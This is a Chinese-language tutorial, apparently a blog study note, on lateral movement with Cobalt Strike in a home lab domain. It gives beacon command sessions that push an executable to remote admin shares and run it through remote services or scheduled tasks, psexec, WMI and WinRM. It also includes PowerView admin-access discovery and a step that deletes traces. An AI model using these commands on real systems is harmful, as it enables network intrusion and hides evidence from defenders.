0x00 前言
實現代碼執行的四個步驟:
1、與目標建立信任關系
2、復制可執行文件到目標上
3、在目標上運行可執行文件
4、實現對目標的控制
以上是根據視頻教程中直譯的結果,個人感覺其實這一節叫橫向移動的方法
更為合適。
0x01 創建可執行文件
創建可執行文件可以在 Cobalt Strike 的 Attack -> Packages -> Windows Executable(s)
處進行創建。
如果用于內網中的橫向移動,那么強烈建議使用 SMB Beacon,SMB Beacon 就是為了內網橫向擴展滲透而設計的。
0x02 上傳可執行文件
首先使用 Cobalt Strike 上的 upload
功能上傳文件,接著復制文件到目標主機的其他位置。
shell copy file.exe \\host\C$\Windows\Temp
beacon> upload /root/beacon.exe
[*] Tasked beacon to upload /root/Desktop/beacon.exe as beacon.exe
[+] host called home, sent: 289302 bytes
beacon> shell copy beacon.exe \\WinTest\C$\Windows\Temp
[*] Tasked beacon to run: copy beacon.exe \\WinTest\C$\Windows\Temp
[+] host called home, sent: 72 bytes
[+] received output:
已復制 1 個文件。
0x03 執行文件(方法一)
1、生成 Windows Service EXE 并上傳
2、在目標主機上創建一個服務
shell sc \\host create name binpath= c:\windows\temp\file.exe
beacon> shell sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe
[*] Tasked beacon to run: sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe
[+] host called home, sent: 93 bytes
[+] received output:
[SC] CreateService 成功
注:記住 binpath 路徑
3、在目標主機上啟動服務
shell sc \\host start name
beacon> shell sc \\wintest start beacon
[*] Tasked beacon to run: sc \\wintest start beacon
[+] host called home, sent: 56 bytes
[+] received output:
SERVICE_NAME: beacon
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 3816
FLAGS :
beacon> link wintest
[*] Tasked to link to \\wintest\pipe\msagent_da00
[+] host called home, sent: 36 bytes
[+] established link to child beacon: 192.168.175.130
4、清除痕跡與服務
shell sc \\host delete name
beacon> shell del beacon.exe
[*] Tasked beacon to run: del beacon.exe
[+] host called home, sent: 57 bytes
beacon> shell del \\wintest\C$\windows\temp\beacon.exe
[*] Tasked beacon to run: del \\wintest\C$\windows\temp\beacon.exe
[+] host called home, sent: 83 bytes
beacon> shell sc \\wintest delete beacon
[*] Tasked beacon to run: sc \\wintest delete beacon
[+] host called home, sent: 69 bytes
[+] received output:
[SC] DeleteService 成功
0x04 執行文件(方法二)
1、生成 Windows EXE 并上傳,注意這里生成的 EXE 和方法一
生成的 EXE 是不一樣的類型,這里生成的是Windows EXE
,不是方法一中的Windows Service EXE
2、找到目標系統上的時間
shell net time \\host
beacon> shell net time \\windc
[*] Tasked beacon to run: net time \\windc
[+] host called home, sent: 49 bytes
[+] received output:
\\windc 的當前時間是 2020/8/30 14:54:09
命令成功完成。
3、創建一個計劃任務
shell at \\host HH:mm C:\path\to\bad.exe
beacon> shell at \\windc 15:00 C:\windows\temp\beacon.exe
[*] Tasked beacon to run: at \\windc 15:00 C:\windows\temp\beacon.exe
[+] host called home, sent: 76 bytes
[+] received output:
新加了一項作業,其作業 ID = 1
4、當計劃任務被執行時,執行 link hostname 即可上線主機
beacon> link windc
[*] Tasked to link to \\windc\pipe\msagent_d76a
[+] host called home, sent: 34 bytes
[+] established link to child beacon: 192.168.175.144
0x05 beacon 的自動操作
前面說的兩種執行文件的方法都需要往磁盤里上傳文件,如果不想往磁盤中上傳文件,也可以使用 beacon 的自動操作。
- 使用一個服務運行可執行文件
psexec [target] [share] [listener]
- 使用一個服務運行 Powershell 單行程序
psexec_psh [target] [listener]
- 通過 WinRM 運行 Powershell 單行程序
winrm [target] [listener]
- 通過 WMI 運行 Powershell 單行程序
wmi [target] [listener]
在 Cobalt Strike 的 viwe --> Targets
下,右擊主機選擇 Jump
也可以通過圖形化的方式進行上述操作,這樣也使得橫向移動更加的簡單。
接下來進行一下演示,目前手中有一個普通機器的管理員會話,我們先在這臺機器上運行 net view
查看一下當前域環境中的主機信息。
beacon> net view
[*] Tasked beacon to run net view
[+] host called home, sent: 104504 bytes
[+] received output:
List of hosts:
[+] received output:
Server Name IP Address Platform Version Type Comment
----------- ---------- -------- ------- ---- -------
WINDC 192.168.175.144 500 6.1 PDC
WINTEST 192.168.175.130 500 6.1
因為是自己本地搭建的測試環境,所以主機很少,可以看到當前域中有兩臺機器,再利用 PowerView 查找一下具有本地管理員訪問權限的用戶
beacon> powershell-import PowerView.ps1
[*] Tasked beacon to import: PowerView.ps1
[+] host called home, sent: 101224 bytes
beacon> powershell Find-LocalAdminAccess
[*] Tasked beacon to run: Find-LocalAdminAccess
[+] host called home, sent: 329 bytes
[+] received output:
WinDC.teamssix.com
接下來在 WinDC 上運行 psexec,因為這里是 64 位的,所以選擇 psexec64,之后監聽選擇一個 smb beacon,會話就選擇已經上線的 wintest 主機的會話,并勾選使用當前會話的訪問令牌。
這里筆者認為應該是因為當前在 wintest 主機上有 windc 的管理員賬戶登錄著,所以使用 wintest 的訪問令牌是可以獲取 windc 的信任的,類似于 CS 學習筆記 17 節里的描述方法,如有不正確之處,還請多多指教。
之后,windc 主機就上線了,域中如果還有其他主機,也可以使用這種方法去橫向移動。
原文鏈接:https://www.teamssix.com/year/200419-150637.html
參考鏈接: